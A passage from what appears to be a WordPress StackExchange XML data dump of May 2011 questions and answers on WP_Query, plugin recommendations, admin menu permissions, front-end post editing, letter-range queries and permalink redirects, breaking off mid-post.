  <row Id="18773" PostTypeId="2" ParentId="18770" CreationDate="2011-05-31T02:48:06.437" Score="2" ViewCount="" Body="&lt;p&gt;I had to use the WP_Query class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$the_query = new WP_Query(array( 'category_name' =&amp;gt; 'Recipe of the Week', 'offset' =&amp;gt; 1 )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then reference my new query object in the template like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php while ( $the_query-&amp;gt; have_posts() ) : $the_query-&amp;gt;the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4916" LastActivityDate="2011-05-31T02:48:06.437" />
  <row Id="18774" PostTypeId="2" ParentId="18653" CreationDate="2011-05-31T03:58:18.853" Score="1" ViewCount="" Body="&lt;p&gt;Here are some Themeforest themes that do what you are looking for:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Coffee Junkie: &lt;a href=&quot;http://themeforest.net/item/coffee-junkie-wordpress-version/63735?ref=clyons&quot; rel=&quot;nofollow&quot;&gt;http://themeforest.net/item/coffee-junkie-wordpress-version/63735?ref=clyons&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Eno: &lt;a href=&quot;http://themeforest.net/item/eno-one-page-portfolio/114197?ref=clyons&quot; rel=&quot;nofollow&quot;&gt;http://themeforest.net/item/eno-one-page-portfolio/114197?ref=clyons&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Path Finder: &lt;a href=&quot;http://themeforest.net/item/path-finder-keyboard-navigation-wordpress-theme/109983?ref=clyons&quot; rel=&quot;nofollow&quot;&gt;http://themeforest.net/item/path-finder-keyboard-navigation-wordpress-theme/109983?ref=clyons&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Carbon: &lt;a href=&quot;http://themeforest.net/item/carbon-one-page-portfolio-wordpress/81835?ref=clyons&quot; rel=&quot;nofollow&quot;&gt;http://themeforest.net/item/carbon-one-page-portfolio-wordpress/81835?ref=clyons&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Identity: &lt;a href=&quot;http://themeforest.net/item/identity-one-page-blogportfolio-theme/120934?ref=clyons&quot; rel=&quot;nofollow&quot;&gt;http://themeforest.net/item/identity-one-page-blogportfolio-theme/120934?ref=clyons&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://themeforest.net/item/path-finder-keyboard-navigation-wordpress-theme/109983?ref=clyons&quot; rel=&quot;nofollow&quot;&gt;Path Finder&lt;/a&gt; is pretty :)&lt;/p&gt;&#xA;" OwnerUserId="2275" LastEditorUserId="2275" LastEditorDisplayName="" LastEditDate="2011-05-31T15:08:19.290" LastActivityDate="2011-05-31T15:08:19.290" />
  <row Id="18775" PostTypeId="1" CreationDate="2011-05-31T05:35:23.707" Score="0" ViewCount="77" Body="&lt;p&gt;like I said, can you suggest a wordpress jquery plugin for a mp3 player/playlist , this is actually for a band website  ...and it should have admin functionality where other users can just upload mp3 files or something like that&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any cool suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2210" LastActivityDate="2011-05-31T06:24:00.860" Title="Suggest mp3 player plugin for a band website?" Tags="&lt;plugin-recommendation&gt;" AnswerCount="1" />
  <row Id="18776" PostTypeId="2" ParentId="18769" CreationDate="2011-05-31T05:41:41.737" Score="1" ViewCount="" Body="&lt;p&gt;you can always just set a css tag &lt;code&gt;display:none&lt;/code&gt; to the caption element&lt;/p&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-05-31T05:41:41.737" CommentCount="1" />
  <row Id="18777" PostTypeId="2" ParentId="18772" CreationDate="2011-05-31T06:18:12.640" Score="0" ViewCount="" Body="&lt;p&gt;With no hooks on that page (User &gt; Add new page) other then &lt;code&gt;user_new_form_tag&lt;/code&gt; its not possible to add new fields unless you hack the core file &lt;code&gt;wp-admin/user-new.php&lt;/code&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could try adding that extra field by adding in in JQuery and processing it when the &lt;code&gt;$_post['action'] == 'adduser'&lt;/code&gt; but that wont be very good practice.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-31T06:18:12.640" CommentCount="3" />
  <row Id="18778" PostTypeId="2" ParentId="18775" CreationDate="2011-05-31T06:24:00.860" Score="1" ViewCount="" Body="&lt;p&gt;I've used both &lt;a href=&quot;http://WPaudio%20MP3%20Player&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WPaudio MP3 Player&lt;/strong&gt;&lt;/a&gt; and &lt;a href=&quot;http://wordpress.org/extend/plugins/flash-mp3-player/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Flash MP3 Player&lt;/strong&gt;&lt;/a&gt; So I can say that my clients found WPaudio MP3 Player easier to use and I found it easier to customize to look and feel, and to make it even easier to use you can create a small tinymce plugin (or as a media upload TAB) to add the shortcode.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-31T06:24:00.860" />
  <row Id="18779" PostTypeId="1" CreationDate="2011-05-31T06:48:42.950" Score="0" ViewCount="85" Body="&lt;p&gt;Adminimize &gt; Menu Options: I want to grant access to &quot;Appearance &gt; Widgets&quot; &lt;em&gt;only&lt;/em&gt; to select users (but not Themes, Editor, Add New Themes; nor Plugins, Settings). Although I have selected this in the Adminimize menu, &quot;Appearance &gt; Widgets&quot; does not show on users' dashboard. Is there a solution?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;APPEARANCE (themes.php)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- Themes (themes.php)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- Widgets (widgets.php)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- Editor (theme-editor.php)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- Add New Themes (theme-install.php)&lt;/p&gt;&#xA;" OwnerUserId="5821" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-05-31T06:57:02.273" LastActivityDate="2011-08-21T20:25:57.510" Title="Adminimize Plugin -- Is there an alternative to limiting Editor to 'Appearance &gt; Widgets' only?" Tags="&lt;plugins&gt;&lt;php&gt;&lt;functions&gt;" AnswerCount="1" />
  <row Id="18780" PostTypeId="2" ParentId="18779" CreationDate="2011-05-31T07:00:42.150" Score="0" ViewCount="" Body="&lt;p&gt;You need to make sure that APPEARANCE (themes.php) is set to display on the users dashboard, and then make sure that Themes, Editor and Add New Themes are set to hide.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the parent is set to hide, then even if a child is set to display it will still be hidden.&lt;/p&gt;&#xA;" OwnerUserId="3493" LastActivityDate="2011-05-31T07:00:42.150" />
  <row Id="18781" PostTypeId="2" ParentId="17400" CreationDate="2011-05-31T07:39:25.193" Score="1" ViewCount="" Body="&lt;p&gt;Just like the example you linked, but instead of using &lt;code&gt;wp_insert_post()&lt;/code&gt; you use: &lt;code&gt;wp_update_post()&lt;/code&gt; so your form becomes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$post_to_edit = get_post($post_id); &#xA;?&amp;gt;&#xA;&#xA;&amp;lt;!-- edit Post Form --&amp;gt;&#xA;&amp;lt;div id=&quot;postbox&quot;&amp;gt;&#xA;&amp;lt;form id=&quot;new_post&quot; name=&quot;new_post&quot; method=&quot;post&quot; action=&quot;&quot;&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;title&quot;&amp;gt;Title&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; id=&quot;title&quot; value=&quot;&amp;lt;?php echo $post_to_edit-&amp;gt;post_title; ?&amp;gt;&quot; tabindex=&quot;1&quot; size=&quot;20&quot; name=&quot;title&quot; /&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;description&quot;&amp;gt;Description&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;&amp;lt;textarea id=&quot;description&quot; tabindex=&quot;3&quot; name=&quot;description&quot; cols=&quot;50&quot; rows=&quot;6&quot;&amp;gt;&amp;lt;?php echo $post_to_edit-&amp;gt;content; ?&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;?php &#xA;$cat = wp_get_post_terms( $post_to_edit-&amp;gt;ID, 'category');&#xA;wp_dropdown_categories( 'show_option_none=Category&amp;amp;tab_index=4&amp;amp;taxonomy=categoryselected='.$cat[0]-&amp;gt;term_id); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;post_tags&quot;&amp;gt;Tags&amp;lt;/label&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; value=&quot;&amp;lt;?php the_terms( $post_to_edit-&amp;gt;ID, 'post_tag', '', ', ', '' ); ?&amp;gt;&quot; tabindex=&quot;5&quot; size=&quot;16&quot; name=&quot;post_tags&quot; id=&quot;post_tags&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p align=&quot;right&quot;&amp;gt;&amp;lt;input type=&quot;submit&quot; value=&quot;Publish&quot; tabindex=&quot;6&quot; id=&quot;submit&quot; name=&quot;submit&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;f_edit_post&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;pid&quot; value=&quot;&amp;lt;?php echo $post_to_edit-&amp;gt;ID; ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;?php wp_nonce_field( 'new-post' ); ?&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;!--// edit Post Form --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and the processing becomes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( 'POST' == $_SERVER['REQUEST_METHOD'] &amp;amp;&amp;amp; !empty( $_POST['action'] ) &amp;amp;&amp;amp;  $_POST['action'] == &quot;f_edit_post&quot; &amp;amp;&amp;amp; isset($_POST['pid'])) {&#xA;    //get the old post:&#xA;    $post_to_edit = get_post((int)$_POST['pid']); &#xA;&#xA;    //do you validation&#xA;    //...&#xA;    //...&#xA;&#xA;&#xA;    // Add the content of the form to $post_to_edit array&#xA;    $post_to_edit['post_title'] = $_post['title']&#xA;    $post_to_edit['post_content'] = $_post['description']&#xA;    $post_to_edit['tags_input'] = array($_post['post_tags'])&#xA;&#xA;&#xA;    //save the edited post and return its ID&#xA;    $pid = wp_update_post($post_to_edit); &#xA;&#xA;&#xA;    //set new category&#xA;    wp_set_post_terms($pid,(array)($_POST['cat']),'category',true);&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;now this has no validation so i leave it up to you.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-31T07:39:25.193" />
  <row Id="18783" PostTypeId="1" CreationDate="2011-05-31T07:47:33.313" Score="0" ViewCount="42" Body="&lt;p&gt;I have a company catalog and want visitors to edit the information without logging in. I have tried &lt;a href=&quot;http://wordpress.org/extend/plugins/tdo-mini-forms/&quot; rel=&quot;nofollow&quot;&gt;TDO Mini Forms&lt;/a&gt; and it almost worked, too many bugs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other good plugin for this?&lt;/p&gt;&#xA;" OwnerUserId="5244" LastActivityDate="2011-07-02T13:20:26.313" Title="Plugin for visitors to edit content without logging in?" Tags="&lt;plugins&gt;&lt;posts&gt;&lt;editor&gt;&lt;content&gt;&lt;forms&gt;" AnswerCount="1" />
  <row Id="18784" PostTypeId="2" ParentId="18725" CreationDate="2011-05-31T07:49:08.733" Score="1" ViewCount="" Body="&lt;p&gt;Interesting question! I solved it by expanding the &lt;code&gt;WHERE&lt;/code&gt; query with a bunch of &lt;code&gt;post_title LIKE 'A%' OR post_title LIKE 'B%' ...&lt;/code&gt; clauses. You can also use a regular expression to do a range search, but I believe the database won't be able to use an index then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the core of the solution: a filter on the &lt;code&gt;WHERE&lt;/code&gt; clause:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'posts_where', 'wpse18703_posts_where', 10, 2 );&#xA;function wpse18703_posts_where( $where, &amp;amp;$wp_query )&#xA;{&#xA;    if ( $letter_range = $wp_query-&amp;gt;get( 'wpse18703_range' ) ) {&#xA;        global $wpdb;&#xA;        $letter_clauses = array();&#xA;        foreach ( $letter_range as $letter ) {&#xA;            $letter_clauses[] = $wpdb-&amp;gt;posts. '.post_title LIKE \'' . $letter . '%\'';&#xA;        }&#xA;        $where .= ' AND (' . implode( ' OR ', $letter_clauses ) . ') ';&#xA;    }&#xA;    return $where;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course you don't want to allow random external input in your query. That is why I have an input sanitization step on &lt;code&gt;pre_get_posts&lt;/code&gt;, which converts two query variables into a valid range. (If you find a way to break this please leave a comment so I can correct it)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'pre_get_posts', 'wpse18703_pre_get_posts' );&#xA;function wpse18703_pre_get_posts( &amp;amp;$wp_query )&#xA;{&#xA;    // Sanitize input&#xA;    $first_letter = $wp_query-&amp;gt;get( 'wpse18725_first_letter' );&#xA;    $last_letter = $wp_query-&amp;gt;get( 'wpse18725_last_letter' );&#xA;    if ( $first_letter || $last_letter ) {&#xA;        $first_letter = substr( strtoupper( $first_letter ), 0, 1 );&#xA;        $last_letter = substr( strtoupper( $last_letter ), 0, 1 );&#xA;        // Make sure the letters are valid&#xA;        // If only one letter is valid use only that letter, not a range&#xA;        if ( ! ( 'A' &amp;lt;= $first_letter &amp;amp;&amp;amp; $first_letter &amp;lt;= 'Z' ) ) {&#xA;            $first_letter = $last_letter;&#xA;        }&#xA;        if ( ! ( 'A' &amp;lt;= $last_letter &amp;amp;&amp;amp; $last_letter &amp;lt;= 'Z' ) ) {&#xA;            if ( $first_letter == $last_letter ) {&#xA;                // None of the letters are valid, don't do a range query&#xA;                return;&#xA;            }&#xA;            $last_letter = $first_letter;&#xA;        }&#xA;        $wp_query-&amp;gt;set( 'posts_per_page', -1 );&#xA;        $wp_query-&amp;gt;set( 'wpse18703_range', range( $first_letter, $last_letter ) );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The final step is to create a pretty rewrite rule so you can go to &lt;code&gt;example.com/posts/a-g/&lt;/code&gt; or &lt;code&gt;example.com/posts/a&lt;/code&gt; to see all posts beginning with this (range of) letter(s).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'wpse18725_init' );&#xA;function wpse18725_init()&#xA;{&#xA;    add_rewrite_rule( 'posts/(\w)(-(\w))?/?', 'index.php?wpse18725_first_letter=$matches[1]&amp;amp;wpse18725_last_letter=$matches[3]', 'top' );&#xA;}&#xA;&#xA;add_filter( 'query_vars', 'wpse18725_query_vars' );&#xA;function wpse18725_query_vars( $query_vars )&#xA;{&#xA;    $query_vars[] = 'wpse18725_first_letter';&#xA;    $query_vars[] = 'wpse18725_last_letter';&#xA;    return $query_vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can change the rewrite rule pattern to start with something else. If this is for a custom post type, be sure to add &lt;code&gt;&amp;amp;post_type=your_custom_post_type&lt;/code&gt; to the substitution (the second string, which starts with &lt;code&gt;index.php&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding pagination links is left as an exercise for the reader :-)&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-31T07:49:08.733" />
  <row Id="18785" PostTypeId="1" CreationDate="2011-05-31T08:00:27.917" Score="0" ViewCount="55" Body="&lt;p&gt;Hi&#xA;I have NivoSlider in my 2010 based theme but it is not displaying properly.&#xA;This can be seen @ &lt;a href=&quot;http://onlinewpthemetest.richard-dickinson.com/&quot; rel=&quot;nofollow&quot;&gt;http://onlinewpthemetest.richard-dickinson.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://onlinewpthemetest.richard-dickinson.com/&quot; rel=&quot;nofollow&quot;&gt;myonlinewpthemetestpage&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first slice escapes the container &amp;amp; stacks vertically &amp;amp; the images change size! A mess really!&#xA;I am grateful if anyone can see what the problem is and how to fix this.&#xA;I look forward to helpful replies.&#xA;Many thanks&lt;/p&gt;&#xA;" OwnerUserId="5822" LastActivityDate="2011-05-31T08:00:27.917" ClosedDate="2011-06-02T12:11:03.567" Title="NivoSlider not displaying properly" Tags="&lt;jquery&gt;" CommentCount="4" />
  <row Id="18786" PostTypeId="1" CreationDate="2011-05-31T08:16:47.430" Score="0" ViewCount="126" Body="&lt;p&gt;Using two plugins on one page; promoslider &amp;amp; events list.&lt;br&gt;&#xA;Tried to produce desired output.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;+-----------------+&#xA;|  slider output  |&#xA;+-----------------+&#xA;Text related to events list&#xA;+-----------------+&#xA;|  events output  |&#xA;+-----------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Code listed below did not produce expected results.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// original code&#xA;[promoslider width=&quot;600px&quot;]&#xA;Text related to events list&#xA;[events_list]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Instead produced output out of order.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Text related to events list&#xA;+-----------------+&#xA;|  slider output  |&#xA;+-----------------+&#xA;+-----------------+&#xA;|  events output  |&#xA;+-----------------+&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Encapsulated short codes in html table seems resolve the issue &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Table code&#xA;&amp;lt;table&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;[promoslider width=&quot;600px&quot;]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;Text related to events list&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;tr&amp;gt;&amp;lt;td&amp;gt;[events_list]&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a better way to display multiple plugins on the same page?&lt;/p&gt;&#xA;" OwnerUserId="3734" LastEditorUserId="3734" LastEditorDisplayName="" LastEditDate="2011-05-31T16:26:59.373" LastActivityDate="2011-09-02T17:39:58.417" Title="Better way to display multiple plugin output on the same page?" Tags="&lt;shortcode&gt;&lt;html&gt;" AnswerCount="1" CommentCount="8" />
  <row Id="18787" PostTypeId="1" CreationDate="2011-05-31T08:25:51.397" Score="2" ViewCount="95" Body="&lt;p&gt;How do we get posts where the meta key does not exist in a post.&#xA;I have created a meta_key video. and i want to be able to get some posts with WP_Query where custom field video does not exist or is blank.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$fsquery = new WP_Query( &#xA;                        array ( &#xA;                        'posts_per_page' =&amp;gt; 1,&#xA;                        'featured' =&amp;gt; 'yes',&#xA;                        'meta_key'=&amp;gt;'video',&#xA;                        'meta_value'=&amp;gt;''&#xA;                        )&#xA;                    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this is not working.&lt;/p&gt;&#xA;" OwnerUserId="5823" LastActivityDate="2011-06-01T06:27:52.523" Title="querying with custom meta field with meta_query" Tags="&lt;custom-field&gt;" AnswerCount="1" />
  <row Id="18788" PostTypeId="1" AcceptedAnswerId="18789" CreationDate="2011-05-31T09:12:31.137" Score="0" ViewCount="48" Body="&lt;p&gt;I have a super old blog that I upgraded from 2.0.7 to 3.1 by upgrading over multiple versions. One of my biggest concerns was losing all the link juice from my legacy URLs but they were clearly made at a time when I hadn't considered how the URLs would need to change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To my surprise I found that changing my permalink structure from &lt;/p&gt;&#xA;&#xA;&lt;p&gt;/articles/%category%/%postname%/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to &lt;/p&gt;&#xA;&#xA;&lt;p&gt;/id/%post_id%/%postname%/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;went really smoothly as WordPress automatically looked up the appropriate URL -- which is great. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'm wanting to know since Ive changed link structures, does it send 301 header messages so I dont lose link juice from 5+ year old links, or is there a way for me to force WordPress to do this for old URLs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3976" LastActivityDate="2011-05-31T09:24:46.673" Title="Does WordPress send a 301 header message when you change permalink structures?" Tags="&lt;permalinks&gt;&lt;redirect&gt;&lt;wp-redirect&gt;" AnswerCount="1" />
  <row Id="18789" PostTypeId="2" ParentId="18788" CreationDate="2011-05-31T09:24:46.673" Score="1" ViewCount="" Body="&lt;p&gt;Yes, WordPress will do a &quot;301: Moved Permanently&quot; to the &quot;real&quot; URL. WordPress calls this &quot;canonical&quot;. When it hits a 404, WordPress will do a lookup on the URL fragments and attempt to find a post / page with that slug. If it finds one - it will do a &lt;code&gt;wp_redirect()&lt;/code&gt; to the proper permalink of the post.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2011-05-31T09:24:46.673" CommentCount="1" />
  <row Id="18790" PostTypeId="1" CreationDate="2011-05-31T09:45:55.647" Score="0" ViewCount="45" Body="&lt;p&gt;Ok back in the day I installed Wordpress Mobile Pack plugin.  I ended it up deleting it months ago and it still does the following.&#xA;1. It leaves the mobile themes and you cant delete them, didnt really look into it&#xA;2. The real bad thing it is doing is it is making duplicate content on my sites in google by adding wpmp_switcher=desktop wpmp_switcher=mobile to my links&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really hate this plugin, obviously the uninstall is not very good&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ideas on getting this out of here&lt;/p&gt;&#xA;" OwnerUserId="5825" LastActivityDate="2011-05-31T09:45:55.647" Title="Wordpress Mobile Pack duplicate content" Tags="&lt;plugins&gt;&lt;seo&gt;" CommentCount="1" />
  <row Id="18791" PostTypeId="2" ParentId="18695" CreationDate="2011-05-31T09:51:17.707" Score="1" ViewCount="" Body="&lt;p&gt;Solution #1 You can change your Media Path.  Go to Settings-&gt;Media&#xA;Change default &quot;wp-content/uploads&quot; to &quot;whitepapers&quot; of course if you upload other than whitepapers, this solution won't work so well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Solution #2 Use Pretty Link to customize your path&#xA;I have been using Pretty Links since I've been using WordPress; a few years now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mostly to simplify paths to files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can map &quot;abc.com/whitepaper/file.pdf&quot; into &quot;abc.com/wp-content/uploads/file.pdf&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blairwilliams.com/pretty-link/&quot; rel=&quot;nofollow&quot;&gt;http://blairwilliams.com/pretty-link/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3734" LastActivityDate="2011-05-31T09:51:17.707" CommentCount="3" />
  <row Id="18792" PostTypeId="2" ParentId="18314" CreationDate="2011-05-31T10:13:38.633" Score="1" ViewCount="" Body="&lt;p&gt;As a reference&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To create network or global settings, you need to do the following&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a settings page&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_submenu_page( 'settings.php'... # cf options.php for blog level`&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a global option&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_site_option($key,$value)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Update a global option&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update_site_option($key,$value)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Get a site option&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;get_site_option($key)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Global settings are saved to the &lt;code&gt;sitemeta&lt;/code&gt; table (individual blog settings are saved to &lt;code&gt;&amp;lt;blog_id&amp;gt;_options&lt;/code&gt; table&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I think the &lt;a href=&quot;http://codex.wordpress.org/Settings_API&quot; rel=&quot;nofollow&quot;&gt;Settings API&lt;/a&gt; functions at the blog level - so uses the options table, not sitemeta. So, you can't use option groups and the like at the network level (&lt;em&gt;please comment if I've got this wrong&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-05-31T10:13:38.633" />
  <row Id="18793" PostTypeId="1" AcceptedAnswerId="18795" CreationDate="2011-05-31T10:14:33.443" Score="1" ViewCount="81" Body="&lt;p&gt;Is it possible to hide the update messages for any users other than the main admin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We use WP as a CMS for clients and it's a bit annoying that a normal user has to read something like:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;WordPress 3.1.3 is available! Please update now.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5415" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-31T11:41:29.327" LastActivityDate="2011-05-31T11:41:29.327" Title="Hide update messages from non-admin users?" Tags="&lt;admin&gt;&lt;users&gt;&lt;cms&gt;&lt;updates&gt;" AnswerCount="1" />
  <row Id="18794" PostTypeId="1" AcceptedAnswerId="18796" CreationDate="2011-05-31T10:16:13.457" Score="3" ViewCount="164" Body="&lt;p&gt;A followup to &lt;a href=&quot;http://wordpress.stackexchange.com/questions/16727/questions-about-wordpress-org-theme-review&quot;&gt;my previous question&lt;/a&gt; about my theme that was &lt;a href=&quot;http://themes.trac.wordpress.org/ticket/3777&quot; rel=&quot;nofollow&quot;&gt;rejected for the WordPress.org theme directory&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;RECOMMENDED: No reference to the_post_thumbnail() was found in the theme. It is recommended that the theme implement this functionality instead of using custom fields for thumbnails.&lt;/li&gt;&#xA;  &lt;li&gt;RECOMMENDED: No reference to add_custom_image_header was found in the theme. It is recommended that the theme implement this functionality if using an image for the header. &lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How do I correct it? This is my function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// thumbnail list &#xA;function retImage($content){&#xA;     $pattern=&quot;/&amp;lt;img.*?src=[\'|\&quot;](.*?(?:[\.gif|\.jpg]))[\'|\&quot;].*?[\/]?&amp;gt;/&quot;;&#xA;     preg_match_all($pattern,$content,$match); &#xA;     if(empty($match[0][0])){&#xA;                 echo &quot;&amp;lt;img src=\&quot;&quot;;&#xA;                 bloginfo('template_url');&#xA;                 echo &quot;/images/thumbnail.png\&quot; /&amp;gt;&quot;;&#xA;     }else{&#xA;         echo  $match[0][0];&#xA;     }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I used  an image for the header by css, why do they say this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;RECOMMENDED: No reference to add_custom_image_header was found in the theme. &lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/jPcaV.png&quot; alt=&quot;Header image CSS rules&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Embedded videos overlap sidebar. Please set the content_width variable&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In my the &lt;code&gt;functions.php&lt;/code&gt; of my theme I did 